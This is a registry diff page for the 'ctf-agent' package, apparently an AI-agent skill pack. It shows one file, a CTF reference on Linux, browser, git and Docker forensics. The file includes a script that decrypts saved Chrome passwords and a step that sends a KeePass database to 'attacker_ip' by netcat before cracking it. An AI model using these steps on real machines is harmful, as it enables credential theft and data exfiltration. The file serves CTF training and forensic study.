ctf-agent 1.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (152) hide show
  1. package/AGENTS.md +131 -0
  2. package/Dockerfile +192 -0
  3. package/README.md +522 -0
  4. package/agents/ctf-analyzer.md +58 -0
  5. package/agents/ctf-controller.md +151 -0
  6. package/agents/ctf-speedrun.md +74 -0
  7. package/bin/ctf-agent.js +119 -0
  8. package/docker-compose.yml +13 -0
  9. package/mcp_config.json +19 -0
  10. package/package.json +44 -0
  11. package/references/ctf-triage-ladder.md +68 -0
  12. package/references/exploit-databases.md +575 -0
  13. package/references/llm-safety-and-policy-compliance.md +173 -0
  14. package/references/multi-agent-orchestration-and-policy-routing.md +278 -0
  15. package/references/security-events-and-intelligence.md +566 -0
  16. package/references/version-matrix.md +59 -0
  17. package/rules/ctf-execution-rules.md +44 -0
  18. package/rules/ctf-safety-framing-rules.md +140 -0
  19. package/rules/flag-validation-rules.md +25 -0
  20. package/scripts/__init__.py +1 -0
  21. package/scripts/ctf-tools.lock +205 -0
  22. package/scripts/ctf_init.py +1026 -0
  23. package/scripts/ctf_update.py +583 -0
  24. package/scripts/ctfd_client.py +81 -0
  25. package/scripts/cve_lookup.py +453 -0
  26. package/scripts/extract_flags.py +155 -0
  27. package/scripts/install_as_agent.py +278 -0
  28. package/scripts/install_ctf_tools.sh +603 -0
  29. package/scripts/parallel_triage.py +395 -0
  30. package/scripts/prompt_policy_sanitizer.py +283 -0
  31. package/scripts/scope_guard.py +444 -0
  32. package/scripts/skill_validator.py +504 -0
  33. package/scripts/workspace_cleaner.py +141 -0
  34. package/skills/ctf-ai-ml/SKILL.md +120 -0
  35. package/skills/ctf-ai-ml/adversarial-ml.md +623 -0
  36. package/skills/ctf-ai-ml/llm-attacks.md +487 -0
  37. package/skills/ctf-ai-ml/model-attacks.md +422 -0
  38. package/skills/ctf-crypto/SKILL.md +320 -0
  39. package/skills/ctf-crypto/advanced-math.md +798 -0
  40. package/skills/ctf-crypto/classic-ciphers.md +651 -0
  41. package/skills/ctf-crypto/ecc-attacks.md +347 -0
  42. package/skills/ctf-crypto/exotic-crypto-2.md +380 -0
  43. package/skills/ctf-crypto/exotic-crypto.md +528 -0
  44. package/skills/ctf-crypto/historical.md +113 -0
  45. package/skills/ctf-crypto/lattice-and-lwe.md +524 -0
  46. package/skills/ctf-crypto/modern-ciphers-2.md +563 -0
  47. package/skills/ctf-crypto/modern-ciphers-3.md +453 -0
  48. package/skills/ctf-crypto/modern-ciphers.md +649 -0
  49. package/skills/ctf-crypto/prng-attacks.md +257 -0
  50. package/skills/ctf-crypto/prng.md +664 -0
  51. package/skills/ctf-crypto/rsa-attacks-2.md +792 -0
  52. package/skills/ctf-crypto/rsa-attacks.md +487 -0
  53. package/skills/ctf-crypto/stream-ciphers.md +390 -0
  54. package/skills/ctf-crypto/zkp-and-advanced.md +456 -0
  55. package/skills/ctf-forensics/3d-printing.md +121 -0
  56. package/skills/ctf-forensics/SKILL.md +379 -0
  57. package/skills/ctf-forensics/disk-advanced.md +497 -0
  58. package/skills/ctf-forensics/disk-and-memory.md +491 -0
  59. package/skills/ctf-forensics/disk-recovery.md +699 -0
  60. package/skills/ctf-forensics/linux-forensics.md +511 -0
  61. package/skills/ctf-forensics/network-advanced.md +583 -0
  62. package/skills/ctf-forensics/network.md +645 -0
  63. package/skills/ctf-forensics/peripheral-capture.md +287 -0
  64. package/skills/ctf-forensics/signals-and-hardware.md +713 -0
  65. package/skills/ctf-forensics/steganography.md +694 -0
  66. package/skills/ctf-forensics/stego-advanced-2.md +475 -0
  67. package/skills/ctf-forensics/stego-advanced.md +481 -0
  68. package/skills/ctf-forensics/stego-image.md +691 -0
  69. package/skills/ctf-forensics/windows.md +625 -0
  70. package/skills/ctf-malware/SKILL.md +181 -0
  71. package/skills/ctf-malware/c2-and-protocols.md +274 -0
  72. package/skills/ctf-malware/pe-and-dotnet.md +108 -0
  73. package/skills/ctf-malware/scripts-and-obfuscation.md +449 -0
  74. package/skills/ctf-misc/SKILL.md +498 -0
  75. package/skills/ctf-misc/bashjails.md +323 -0
  76. package/skills/ctf-misc/ctfd-navigation.md +465 -0
  77. package/skills/ctf-misc/dns.md +255 -0
  78. package/skills/ctf-misc/encodings-advanced.md +504 -0
  79. package/skills/ctf-misc/encodings.md +431 -0
  80. package/skills/ctf-misc/games-and-vms-2.md +254 -0
  81. package/skills/ctf-misc/games-and-vms-3.md +690 -0
  82. package/skills/ctf-misc/games-and-vms-4.md +229 -0
  83. package/skills/ctf-misc/games-and-vms.md +529 -0
  84. package/skills/ctf-misc/linux-privesc.md +333 -0
  85. package/skills/ctf-misc/pyjails.md +671 -0
  86. package/skills/ctf-misc/rf-sdr.md +91 -0
  87. package/skills/ctf-osint/SKILL.md +198 -0
  88. package/skills/ctf-osint/geolocation-and-media.md +464 -0
  89. package/skills/ctf-osint/social-media.md +312 -0
  90. package/skills/ctf-osint/web-and-dns.md +341 -0
  91. package/skills/ctf-pwn/SKILL.md +214 -0
  92. package/skills/ctf-pwn/advanced-exploits-2.md +579 -0
  93. package/skills/ctf-pwn/advanced-exploits-3.md +598 -0
  94. package/skills/ctf-pwn/advanced-exploits-4.md +590 -0
  95. package/skills/ctf-pwn/advanced-exploits-5.md +119 -0
  96. package/skills/ctf-pwn/advanced-exploits.md +773 -0
  97. package/skills/ctf-pwn/advanced.md +326 -0
  98. package/skills/ctf-pwn/field-notes.md +245 -0
  99. package/skills/ctf-pwn/format-string.md +694 -0
  100. package/skills/ctf-pwn/heap-fsop.md +285 -0
  101. package/skills/ctf-pwn/heap-techniques-2.md +333 -0
  102. package/skills/ctf-pwn/heap-techniques.md +513 -0
  103. package/skills/ctf-pwn/kernel-bypass.md +421 -0
  104. package/skills/ctf-pwn/kernel-techniques.md +366 -0
  105. package/skills/ctf-pwn/kernel.md +636 -0
  106. package/skills/ctf-pwn/overflow-basics.md +611 -0
  107. package/skills/ctf-pwn/rop-advanced.md +725 -0
  108. package/skills/ctf-pwn/rop-and-shellcode.md +659 -0
  109. package/skills/ctf-pwn/sandbox-escape.md +313 -0
  110. package/skills/ctf-reverse/SKILL.md +163 -0
  111. package/skills/ctf-reverse/anti-analysis-ctf.md +204 -0
  112. package/skills/ctf-reverse/anti-analysis.md +693 -0
  113. package/skills/ctf-reverse/field-notes.md +376 -0
  114. package/skills/ctf-reverse/languages-compiled.md +666 -0
  115. package/skills/ctf-reverse/languages-platforms.md +592 -0
  116. package/skills/ctf-reverse/languages.md +553 -0
  117. package/skills/ctf-reverse/patterns-ctf-2.md +397 -0
  118. package/skills/ctf-reverse/patterns-ctf-3.md +797 -0
  119. package/skills/ctf-reverse/patterns-ctf.md +670 -0
  120. package/skills/ctf-reverse/patterns-runtime.md +274 -0
  121. package/skills/ctf-reverse/patterns.md +572 -0
  122. package/skills/ctf-reverse/platforms-hardware.md +387 -0
  123. package/skills/ctf-reverse/platforms.md +664 -0
  124. package/skills/ctf-reverse/tools-advanced-2.md +421 -0
  125. package/skills/ctf-reverse/tools-advanced.md +407 -0
  126. package/skills/ctf-reverse/tools-dynamic.md +679 -0
  127. package/skills/ctf-reverse/tools-emulation.md +319 -0
  128. package/skills/ctf-reverse/tools.md +573 -0
  129. package/skills/ctf-web/SKILL.md +153 -0
  130. package/skills/ctf-web/auth-and-access-2.md +82 -0
  131. package/skills/ctf-web/auth-and-access.md +783 -0
  132. package/skills/ctf-web/auth-infra.md +321 -0
  133. package/skills/ctf-web/auth-jwt.md +186 -0
  134. package/skills/ctf-web/client-side-advanced.md +739 -0
  135. package/skills/ctf-web/client-side.md +529 -0
  136. package/skills/ctf-web/cves.md +373 -0
  137. package/skills/ctf-web/field-notes.md +482 -0
  138. package/skills/ctf-web/node-and-prototype.md +200 -0
  139. package/skills/ctf-web/server-side-2.md +337 -0
  140. package/skills/ctf-web/server-side-advanced-2.md +559 -0
  141. package/skills/ctf-web/server-side-advanced-3.md +125 -0
  142. package/skills/ctf-web/server-side-advanced-4.md +480 -0
  143. package/skills/ctf-web/server-side-advanced.md +378 -0
  144. package/skills/ctf-web/server-side-deser.md +443 -0
  145. package/skills/ctf-web/server-side-exec-2.md +799 -0
  146. package/skills/ctf-web/server-side-exec.md +457 -0
  147. package/skills/ctf-web/server-side.md +629 -0
  148. package/skills/ctf-web/sql-injection.md +790 -0
  149. package/skills/ctf-web/web3.md +374 -0
  150. package/skills/ctf-writeup/SKILL.md +90 -0
  151. package/skills/solve-challenge/SKILL.md +269 -0
  152. package/skills.json +16 -0
@@ -0,0 +1,511 @@
1
+ # CTF Forensics - Linux and Application Forensics
2
+
3
+ ## Table of Contents
4
+ - [Log Analysis](#log-analysis)
5
+ - [Linux Attack Chain Forensics](#linux-attack-chain-forensics)
6
+ - [Docker Image Forensics (Pragyan 2026)](#docker-image-forensics-pragyan-2026)
7
+ - [Browser Credential Decryption](#browser-credential-decryption)
8
+ - [Firefox Browser History (places.sqlite)](#firefox-browser-history-placessqlite)
9
+ - [USB Audio Extraction from PCAP](#usb-audio-extraction-from-pcap)
10
+ - [TFTP Netascii Decoding](#tftp-netascii-decoding)
11
+ - [TLS Traffic Decryption via Weak RSA](#tls-traffic-decryption-via-weak-rsa)
12
+ - [ROT18 Decoding](#rot18-decoding)
13
+ - [Common Encodings](#common-encodings)
14
+ - [Git Directory Recovery (UTCTF 2024)](#git-directory-recovery-utctf-2024)
15
+ - [KeePass Database Extraction and Cracking (H7CTF 2025)](#keepass-database-extraction-and-cracking-h7ctf-2025)
16
+ - [Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)](#git-reflog-and-fsck-for-squashed-commit-recovery-bearcatctf-2026)
17
+ - [Browser Artifact Analysis](#browser-artifact-analysis)
18
+ - [Chrome/Chromium](#chromechromium)
19
+ - [Firefox](#firefox)
20
+ - [Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)](#corrupted-git-blob-repair-via-byte-brute-force-csaw-ctf-2015)
21
+ - [VBA Macro Forensics - Excel Cell Data to ELF Binary (Sharif CTF 2016)](#vba-macro-forensics---excel-cell-data-to-elf-binary-sharif-ctf-2016)
22
+ - [Ethereum / Blockchain Transaction Tracing (Defenit CTF 2020)](#ethereum--blockchain-transaction-tracing-defenit-ctf-2020)
23
+ - [Python In-Memory Source Recovery via pyrasite (Insomni'hack 2017)](#python-in-memory-source-recovery-via-pyrasite-insomnihack-2017)
24
+
25
+ ---
26
+
27
+ ## Log Analysis
28
+
29
+ ```bash
30
+ # Search for flag fragments
31
+ grep -iE "(flag|part|piece|fragment)" server.log
32
+
33
+ # Reconstruct fragmented flags
34
+ grep "FLAGPART" server.log | sed 's/.*FLAGPART: //' | uniq | tr -d '\n'
35
+
36
+ # Find anomalies
37
+ sort logfile.log | uniq -c | sort -rn | head
38
+ ```
39
+
40
+ ---
41
+
42
+ ## Linux Attack Chain Forensics
43
+
44
+ **Pattern (Making the Naughty List):** Full attack timeline from logs + PCAP + malware.
45
+
46
+ **Evidence sources:**
47
+ ```bash
48
+ # SSH session commands
49
+ grep -A2 "session opened" /var/log/auth.log
50
+
51
+ # User command history
52
+ cat /home/*/.bash_history
53
+
54
+ # Downloaded malware
55
+ find /usr/bin -newer /var/log/auth.log -name "ms*"
56
+
57
+ # Network exfiltration
58
+ tshark -r capture.pcap -Y "tftp" -T fields -e tftp.source_file
59
+ ```
60
+
61
+ **Common malware pattern:** AES-ECB encrypt + XOR with same key, save as .enc
62
+
63
+ ---
64
+
65
+ ## Docker Image Forensics (Pragyan 2026)
66
+
67
+ **Pattern (Plumbing):** Sensitive data leaked during Docker build but cleaned in later layers.
68
+
69
+ **Key insight:** Docker image config JSON (`blobs/sha256/<config_hash>`) permanently preserves ALL `RUN` commands in the `history` array, regardless of subsequent cleanup.
70
+
71
+ ```bash
72
+ tar xf app.tar
73
+ # Find config blob (not layer blobs)
74
+ python3 -m json.tool blobs/sha256/<config_hash> | grep -A2 "created_by"
75
+ # Look for RUN commands with flag data, passwords, secrets
76
+ ```
77
+
78
+ **Analysis steps:**
79
+ 1. Extract the Docker image tar: `tar xf app.tar`
80
+ 2. Read `manifest.json` to find the config blob hash
81
+ 3. Parse the config blob JSON for `history[].created_by` entries
82
+ 4. Each entry shows the exact Dockerfile command that was run
83
+ 5. Secrets echoed, written, or processed in any `RUN` command are preserved in the history
84
+ 6. Even if a later layer `rm -f secret.txt`, the `RUN echo "flag{...}" > secret.txt` remains visible
85
+
86
+ ---
87
+
88
+ ## Browser Credential Decryption
89
+
90
+ **Chrome/Edge Login Data decryption (requires master_key.txt):**
91
+ ```python
92
+ from Crypto.Cipher import AES
93
+ import sqlite3, json, base64
94
+
95
+ # Load master key (from Local State file, DPAPI-protected)
96
+ with open('master_key.txt', 'rb') as f:
97
+ master_key = f.read()
98
+
99
+ conn = sqlite3.connect('Login Data')
100
+ cursor = conn.cursor()
101
+ cursor.execute('SELECT origin_url, username_value, password_value FROM logins')
102
+ for url, user, encrypted_pw in cursor.fetchall():
103
+ # v10/v11 prefix = AES-GCM encrypted
104
+ nonce = encrypted_pw[3:15]
105
+ ciphertext = encrypted_pw[15:-16]
106
+ tag = encrypted_pw[-16:]
107
+ cipher = AES.new(master_key, AES.MODE_GCM, nonce=nonce)
108
+ password = cipher.decrypt_and_verify(ciphertext, tag)
109
+ print(f"{url}: {user}:{password.decode()}")
110
+ ```
111
+
112
+ **Master key extraction from Local State:**
113
+ ```python
114
+ import json, base64
115
+ with open('Local State', 'r') as f:
116
+ local_state = json.load(f)
117
+ encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
118
+ # Remove DPAPI prefix (5 bytes "DPAPI")
119
+ encrypted_key = encrypted_key[5:]
120
+ # On Windows: CryptUnprotectData to get master_key
121
+ # In CTF: master_key may be provided separately
122
+ ```
123
+
124
+ ---
125
+
126
+ ## Firefox Browser History (places.sqlite)
127
+
128
+ **Pattern (Browser Wowser):** Flag hidden in browser history URLs.
129
+
130
+ ```bash
131
+ # Quick method
132
+ strings places.sqlite | grep -i "flag\|MetaCTF"
133
+
134
+ # Proper forensic method
135
+ sqlite3 places.sqlite "SELECT url FROM moz_places WHERE url LIKE '%flag%'"
136
+ ```
137
+
138
+ **Key tables:** `moz_places` (URLs), `moz_bookmarks`, `moz_cookies`
139
+
140
+ ---
141
+
142
+ ## USB Audio Extraction from PCAP
143
+
144
+ **Pattern (Talk To Me):** USB isochronous transfers contain audio data.
145
+
146
+ **Extraction workflow:**
147
+ ```bash
148
+ # Export ISO data with tshark
149
+ tshark -r capture.pcap -T fields -e usb.iso.data > audio_data.txt
150
+
151
+ # Convert to raw audio and import into Audacity
152
+ # Settings: signed 16-bit PCM, mono, appropriate sample rate
153
+ # Listen for spoken flag characters
154
+ ```
155
+
156
+ **Identification:** USB transfer type URB_ISOCHRONOUS = real-time audio/video
157
+
158
+ ---
159
+
160
+ ## TFTP Netascii Decoding
161
+
162
+ **Problem:** TFTP netascii mode corrupts binary transfers; Wireshark doesn't auto-decode.
163
+
164
+ **Fix exported files:**
165
+ ```python
166
+ # Replace netascii sequences:
167
+ # 0d 0a → 0a (CRLF → LF)
168
+ # 0d 00 → 0d (escaped CR)
169
+ with open('file_raw', 'rb') as f:
170
+ data = f.read()
171
+ data = data.replace(b'\r\n', b'\n').replace(b'\r\x00', b'\r')
172
+ with open('file_fixed', 'wb') as f:
173
+ f.write(data)
174
+ ```
175
+
176
+ ---
177
+
178
+ ## TLS Traffic Decryption via Weak RSA
179
+
180
+ **Pattern (Tampered Seal):** TLS 1.2 with `TLS_RSA_WITH_AES_256_CBC_SHA` (no PFS).
181
+
182
+ **Attack flow:**
183
+ 1. Extract server certificate from Server Hello packet (Export Packet Bytes -> `public.der`)
184
+ 2. Get modulus: `openssl x509 -in public.der -inform DER -noout -modulus`
185
+ 3. Factor weak modulus (dCode, factordb.com, yafu)
186
+ 4. Generate private key: `rsatool -p P -q Q -o private.pem`
187
+ 5. Add to Wireshark: Edit -> Preferences -> TLS -> RSA keys list
188
+
189
+ **After decryption:**
190
+ - Follow TLS streams to see HTTP traffic
191
+ - Export objects (File -> Export Objects -> HTTP)
192
+ - Look for downloaded executables, API calls
193
+
194
+ ---
195
+
196
+ ## ROT18 Decoding
197
+
198
+ ROT13 on letters + ROT5 on digits. Common final layer in multi-stage forensics:
199
+ ```python
200
+ def rot18(text):
201
+ result = []
202
+ for c in text:
203
+ if c.isalpha():
204
+ base = ord('a') if c.islower() else ord('A')
205
+ result.append(chr((ord(c) - base + 13) % 26 + base))
206
+ elif c.isdigit():
207
+ result.append(str((int(c) + 5) % 10))
208
+ else:
209
+ result.append(c)
210
+ return ''.join(result)
211
+ ```
212
+
213
+ ---
214
+
215
+ ## Common Encodings
216
+
217
+ ```bash
218
+ echo "base64string" | base64 -d
219
+ echo "hexstring" | xxd -r -p
220
+ # ROT13: tr 'A-Za-z' 'N-ZA-Mn-za-m'
221
+ ```
222
+
223
+ ---
224
+
225
+ ## Git Directory Recovery (UTCTF 2024)
226
+
227
+ ```bash
228
+ # Exposed .git directory on web server
229
+ gitdumper.sh https://target/.git/ /tmp/repo
230
+
231
+ # Check reflog for old commits with secrets
232
+ cat .git/logs/HEAD
233
+ # Download objects from .git/objects/XX/YYYY, decompress with zlib
234
+ ```
235
+
236
+ **Tool:** `gitdumper.sh` from internetwache/GitTools is most reliable.
237
+
238
+ ---
239
+
240
+ ## KeePass Database Extraction and Cracking (H7CTF 2025)
241
+
242
+ **Pattern (Moby Dock):** KeePass database (`.kdbx`) found on compromised system contains SSH keys or credentials for lateral movement.
243
+
244
+ **Transfer from remote system:**
245
+ ```bash
246
+ # On target: base64 encode and send via netcat
247
+ base64 .system.kdbx | nc attacker_ip 4444
248
+
249
+ # On attacker: receive and decode
250
+ nc -lvnp 4444 > kdbx.b64 && base64 -d kdbx.b64 > system.kdbx
251
+ ```
252
+
253
+ **Cracking KeePass v4 databases:**
254
+ ```bash
255
+ # Standard keepass2john (KeePass v3 only)
256
+ keepass2john system.kdbx > hash.txt
257
+
258
+ # For KeePass v4 (KDBX 4.x with Argon2): use custom fork
259
+ git clone https://github.com/ivanmrsulja/keepass2john.git
260
+ cd keepass2john && make
261
+ ./keepass2john system.kdbx > hash.txt
262
+
263
+ # Alternative: keepass4brute (direct brute-force)
264
+ python3 keepass4brute.py -d wordlist.txt system.kdbx
265
+ ```
266
+
267
+ **Wordlist generation from challenge context:**
268
+ ```bash
269
+ # Generate wordlist from related website content
270
+ cewl http://target:8080 -d 2 -m 5 -w cewl_words.txt
271
+
272
+ # Add theme-related keywords manually
273
+ echo -e "expectopatronum\nharrypotter\nalohomora" >> cewl_words.txt
274
+
275
+ # Crack with hashcat (Argon2 = mode 13400)
276
+ hashcat -m 13400 hash.txt cewl_words.txt
277
+ ```
278
+
279
+ **After cracking — extract credentials:**
280
+ 1. Open `.kdbx` in KeePassXC with recovered password
281
+ 2. Check all entries for SSH private keys, passwords, API tokens
282
+ 3. SSH keys are typically stored in the "Notes" or "Advanced" attachment fields
283
+
284
+ **Key insight:** Standard `keepass2john` does not support KeePass v4 (KDBX 4.x) databases that use Argon2 key derivation. Use the `ivanmrsulja/keepass2john` fork or `keepass4brute` for v4 support. Generate context-aware wordlists with `cewl` targeting related web services.
285
+
286
+ ---
287
+
288
+ ## Git Reflog and fsck for Squashed Commit Recovery (BearCatCTF 2026)
289
+
290
+ **Pattern (Poem About Pirates):** Git repository with clean history where data was overwritten and history rewritten via `git rebase --squash`. The original commits survive as orphaned objects.
291
+
292
+ **Recovery steps:**
293
+ ```bash
294
+ # Check reflog for rebase/squash operations
295
+ git reflog --all
296
+
297
+ # Find orphaned (unreachable) commits
298
+ git fsck --unreachable --no-reflogs
299
+
300
+ # Inspect each unreachable commit
301
+ git show <commit-hash>
302
+ git diff <commit-hash>^ <commit-hash>
303
+
304
+ # Extract specific file version from orphaned commit
305
+ git show <commit-hash>:path/to/file
306
+ ```
307
+
308
+ **Key insight:** `git rebase --squash` removes commits from the branch history but doesn't delete the underlying objects. They remain as unreachable objects until garbage collection runs (`git gc`). Even after `git gc`, objects younger than the expiry period (default 2 weeks) survive. Always check `git reflog` and `git fsck --unreachable` when investigating git repos for hidden data.
309
+
310
+ **Detection:** Git repo with suspiciously clean history (single commit, or squash-merge commits). Challenge mentions "rewrite", "rebase", "squash", or "clean history".
311
+
312
+ ---
313
+
314
+ ## Browser Artifact Analysis
315
+
316
+ ### Chrome/Chromium
317
+
318
+ ```bash
319
+ # Default profile locations
320
+ # Linux: ~/.config/google-chrome/Default/
321
+ # macOS: ~/Library/Application Support/Google/Chrome/Default/
322
+ # Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\
323
+
324
+ # History (SQLite)
325
+ sqlite3 "History" "SELECT url, title, datetime(last_visit_time/1000000-11644473600,'unixepoch') FROM urls ORDER BY last_visit_time DESC LIMIT 50;"
326
+
327
+ # Downloads
328
+ sqlite3 "History" "SELECT target_path, tab_url, datetime(start_time/1000000-11644473600,'unixepoch') FROM downloads;"
329
+
330
+ # Cookies (encrypted on modern Chrome — need DPAPI/keychain key)
331
+ sqlite3 "Cookies" "SELECT host_key, name, datetime(expires_utc/1000000-11644473600,'unixepoch') FROM cookies;"
332
+
333
+ # Login Data (passwords — encrypted)
334
+ sqlite3 "Login Data" "SELECT origin_url, username_value FROM logins;"
335
+
336
+ # Bookmarks (JSON)
337
+ cat Bookmarks | python3 -m json.tool | grep -A2 '"url"'
338
+
339
+ # Local Storage / IndexedDB — LevelDB format
340
+ # Use leveldb-dump or strings on LevelDB files
341
+ strings "Local Storage/leveldb/"*.ldb | grep -i flag
342
+ ```
343
+
344
+ ### Firefox
345
+
346
+ ```bash
347
+ # Profile location: ~/.mozilla/firefox/*.default-release/
348
+ # Find profile
349
+ ls ~/.mozilla/firefox/ | grep default
350
+
351
+ # History + bookmarks (places.sqlite)
352
+ sqlite3 places.sqlite "SELECT url, title, datetime(last_visit_date/1000000,'unixepoch') FROM moz_places WHERE last_visit_date IS NOT NULL ORDER BY last_visit_date DESC LIMIT 50;"
353
+
354
+ # Form history
355
+ sqlite3 formhistory.sqlite "SELECT fieldname, value FROM moz_formhistory;"
356
+
357
+ # Saved passwords (requires key4.db + logins.json)
358
+ # Use firefox_decrypt: python3 firefox_decrypt.py ~/.mozilla/firefox/PROFILE/
359
+
360
+ # Session restore (previous tabs)
361
+ python3 -c "
362
+ import json, lz4.block
363
+ with open('sessionstore-backups/recovery.jsonlz4','rb') as f:
364
+ f.read(8) # skip magic
365
+ data = json.loads(lz4.block.decompress(f.read()))
366
+ for w in data['windows']:
367
+ for t in w['tabs']:
368
+ print(t['entries'][-1]['url'])
369
+ "
370
+ ```
371
+
372
+ **Key insight:** Browser artifacts are SQLite databases with non-standard timestamp formats. Chrome uses WebKit epoch (microseconds since 1601-01-01), Firefox uses Unix epoch in microseconds. Always check History, Cookies, Login Data, Local Storage, and session restore files. For encrypted passwords, you need the master key (DPAPI on Windows, keychain on macOS, key4.db on Firefox).
373
+
374
+ ---
375
+
376
+ ## Corrupted Git Blob Repair via Byte Brute-Force (CSAW CTF 2015)
377
+
378
+ **Pattern (sharpturn):** Git repository with corrupted blob objects. Since git identifies objects by SHA-1 hash, a single-byte corruption changes the hash, making the object unreadable. Repair by brute-forcing each byte position until `git hash-object` produces the expected hash.
379
+
380
+ ```python
381
+ import subprocess, shutil
382
+
383
+ def repair_blob(filepath, target_hash):
384
+ """Brute-force single-byte corruption in a git blob."""
385
+ with open(filepath, 'rb') as f:
386
+ data = bytearray(f.read())
387
+
388
+ for pos in range(len(data)):
389
+ original = data[pos]
390
+ for val in range(256):
391
+ if val == original:
392
+ continue
393
+ data[pos] = val
394
+ with open(filepath, 'wb') as f:
395
+ f.write(data)
396
+ result = subprocess.run(
397
+ ['git', 'hash-object', filepath],
398
+ capture_output=True, text=True
399
+ )
400
+ if result.stdout.strip() == target_hash:
401
+ print(f"Fixed byte {pos}: 0x{original:02x} -> 0x{val:02x}")
402
+ return True
403
+ data[pos] = original
404
+
405
+ with open(filepath, 'wb') as f:
406
+ f.write(data)
407
+ return False
408
+ ```
409
+
410
+ **Workflow:**
411
+ 1. `git fsck` to identify corrupted objects and their expected hashes
412
+ 2. Locate the corrupt blob files in `.git/objects/`
413
+ 3. Decompress with `python3 -c "import zlib; print(zlib.decompress(open('blob','rb').read()))"`
414
+ 4. Brute-force each byte position (256 values * file_size attempts)
415
+ 5. Verify with `git hash-object` matching the expected hash
416
+
417
+ **Key insight:** Git's content-addressable storage means the expected SHA-1 hash is known from the commit tree, even when the blob is corrupted. Single-byte corruption is brute-forceable in seconds. For multi-byte corruption, combine with contextual knowledge (e.g., source code must compile, numeric constants must be valid).
418
+
419
+ ---
420
+
421
+ ## VBA Macro Forensics - Excel Cell Data to ELF Binary (Sharif CTF 2016)
422
+
423
+ Excel spreadsheet hides an entire executable as numeric cell values. A VBA (Visual Basic for Applications) macro transforms each cell via `CByte((cell_value - 78) / 3)` and writes bytes to produce an ELF (Executable and Linkable Format) binary. Safe analysis: export to CSV, reimplement transform in Python.
424
+
425
+ ```python
426
+ import csv
427
+ with open('data.csv') as f, open('binary', 'wb') as out:
428
+ for row in csv.reader(f):
429
+ for cell in row:
430
+ if cell.strip():
431
+ out.write(bytes([int((int(cell) - 78) / 3)]))
432
+ ```
433
+
434
+ **Key insight:** Malware delivery via spreadsheet cell values with arithmetic transformation. Always reimplement VBA macro logic in Python rather than executing the macro. Check for `olevba` output to extract the transformation formula.
435
+
436
+ **Detection:** Excel file with large numbers in cells, VBA macro with `CByte`/`Chr`/`Write` operations.
437
+
438
+ ---
439
+
440
+ ## Ethereum / Blockchain Transaction Tracing (Defenit CTF 2020)
441
+
442
+ Track cryptocurrency through tumbler/mixer services by analyzing on-chain transaction patterns.
443
+
444
+ ```python
445
+ import requests
446
+ from collections import defaultdict
447
+
448
+ def trace_ethereum_transactions(address, api_key, depth=3):
449
+ """Trace ETH transactions through tumbler hops"""
450
+ url = f"https://api.etherscan.io/api?module=account&action=txlist&address={address}&apikey={api_key}"
451
+ r = requests.get(url)
452
+ txs = r.json()["result"]
453
+
454
+ graph = defaultdict(list)
455
+ for tx in txs:
456
+ graph[tx["from"]].append({
457
+ "to": tx["to"],
458
+ "value": int(tx["value"]) / 1e18, # Wei to ETH
459
+ "timestamp": int(tx["timeStamp"])
460
+ })
461
+
462
+ # Heuristics for tumbler detection:
463
+ # 1. Amount correlation: input ~= output (minus fee)
464
+ # 2. Timing: outputs follow inputs within minutes/hours
465
+ # 3. Fan-out pattern: one input splits to many outputs
466
+ # 4. Round amounts: tumblers often use round ETH values
467
+
468
+ # Filter by transaction count (skip high-volume faucets/exchanges)
469
+ suspicious = {addr: txs for addr, txs in graph.items()
470
+ if 5 < len(txs) < 100} # Not faucet, not end-user
471
+
472
+ return suspicious
473
+
474
+ # Tools for blockchain forensics:
475
+ # - Etherscan API: transaction history, internal transactions
476
+ # - Blockchair: multi-chain explorer (BTC, ETH, etc.)
477
+ # - Chainalysis Reactor: commercial but referenced in CTFs
478
+ # - breadcrumbs.app: free transaction visualization
479
+ ```
480
+
481
+ **Key insight:** Blockchain tumblers obscure transaction trails but leave statistical patterns. Track by correlating input/output amounts (minus fees), timing windows, and intermediate wallet transaction counts. Wallets with 10-50 transactions are likely intermediaries; 1000+ are exchanges/faucets to ignore.
482
+
483
+ ---
484
+
485
+ ## Python In-Memory Source Recovery via pyrasite (Insomni'hack 2017)
486
+
487
+ When a Python process has its source file deleted but is still running, attach to it with `pyrasite-shell` and decompile code objects from memory.
488
+
489
+ ```bash
490
+ # 1. Find the running Python process
491
+ pgrep -f "python"
492
+
493
+ # 2. Attach with pyrasite (requires ptrace permissions)
494
+ pyrasite-shell <PID>
495
+
496
+ # 3. Inside the pyrasite shell, enumerate and decompile functions:
497
+ import sys, uncompyle6
498
+ # List all global variables and functions
499
+ for name, obj in globals().items():
500
+ if hasattr(obj, 'func_code'):
501
+ print(f"\n=== {name} ===")
502
+ uncompyle6.main.uncompyle(sys.version_info[0] + sys.version_info[1]/10.0,
503
+ obj.func_code, sys.stdout)
504
+
505
+ # 4. Also check for variables containing secrets
506
+ print(globals()) # May contain flags, keys, etc.
507
+ ```
508
+
509
+ **Key insight:** `pyrasite` injects a Python shell into a running process via `ptrace`. All code objects and global variables remain in memory even after the source file is deleted. `uncompyle6` decompiles `func_code` objects back to readable Python source. For Python 3.9+ processes, use [`pycdc`](https://github.com/zrax/pycdc) instead (`pycdc` operates on `.pyc` files — write code objects to disk with `marshal.dump` first).
510
+
511
+ **Detection:** Challenge provides access to a running system where a Python process is active but the `.py` source file has been deleted. `ls -l /proc/<PID>/exe` shows the Python interpreter; `/proc/<PID>/fd/` may still reference the deleted file. Check `ptrace` permissions (`/proc/sys/kernel/yama/ptrace_scope`).